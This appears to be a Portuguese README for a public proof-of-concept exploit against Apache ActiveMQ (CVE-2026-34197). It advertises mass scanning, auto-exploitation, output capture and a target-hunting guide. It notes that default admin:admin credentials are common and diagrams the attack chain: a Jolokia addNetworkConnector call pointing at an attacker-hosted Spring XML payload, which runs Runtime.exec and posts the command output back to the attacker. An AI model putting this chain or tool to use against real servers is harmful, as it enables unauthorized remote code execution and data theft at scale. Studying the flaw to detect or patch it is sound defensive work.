Exploit para Apache ActiveMQ RCE via API Jolokia (CVE-2026-34197) com captura de saída de comandos, varredura em massa e auto-exploração.
Visão Geral • Detalhes • Fluxo de Ataque • Início Rápido • Guia ATTACKER_IP • Uso • Captura de Saída • Scanner • Caça • Detecção • Correção
CVE-2026-34197 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Apache ActiveMQ Classic que permite a um atacante autenticado executar comandos arbitrários do sistema operacional através da API Jolokia exposta no console web.
A vulnerabilidade existe há mais de 13 anos e reside na interação entre Jolokia (ponte HTTP-JMX), MBeans do ActiveMQ, conectores de rede e o transporte VM.
[!CAUTION] Este é um primeiro PoC público desenvolvido por KONDOR DEV SECURITY. Use apenas em avaliações de segurança autorizadas.
id, whoami, cat /etc/passwd) exibem automaticamente sua saída no seu terminalversion_check.py) — detecção de versão multithread + exploração direcionada| ID CVE | CVE-2026-34197 |
| Severidade | |
| Tipo | Execução Remota de Código (RCE) |
| CWE | CWE-20 (Validação de Entrada Incorreta) / CWE-94 (Injeção de Código) |
| Afetados | ActiveMQ Classic < 5.19.4 e 6.0.0 — 6.2.2 |
| Corrigido | 5.19.4 / 6.2.3 |
| Autenticação Necessária | Sim (credenciais padrão admin:admin são comuns) |
| Sem Autenticação | 6.0.0 — 6.1.1 (devido ao CVE-2024-32114) |
| Porta Padrão | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Análise passo a passo
| Passo | Ação | Componente |
|:----:|--------|-----------|
| **1** | O atacante envia um POST para `/api/jolokia/` invocando `addNetworkConnector` no MBean do Broker | API Jolokia |
| **2** | O ActiveMQ processa o URI de transporte `vm://` e cria um broker efêmero com `brokerConfig` apontando para uma URL remota | Transporte VM |
| **3** | O esquema `xbean:` aciona o download de um arquivo de configuração Spring XML do servidor do atacante | Spring / XBean |
| **4** | O Spring instancia todos os beans no XML, incluindo um que chama `Runtime.getRuntime().exec()` | Contexto Spring |
| **5** | Para comandos simples, a saída é capturada e enviada de volta via HTTP POST para o listener do atacante (automático) | Captura de Saída |
---
## Estrutura do Projeto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md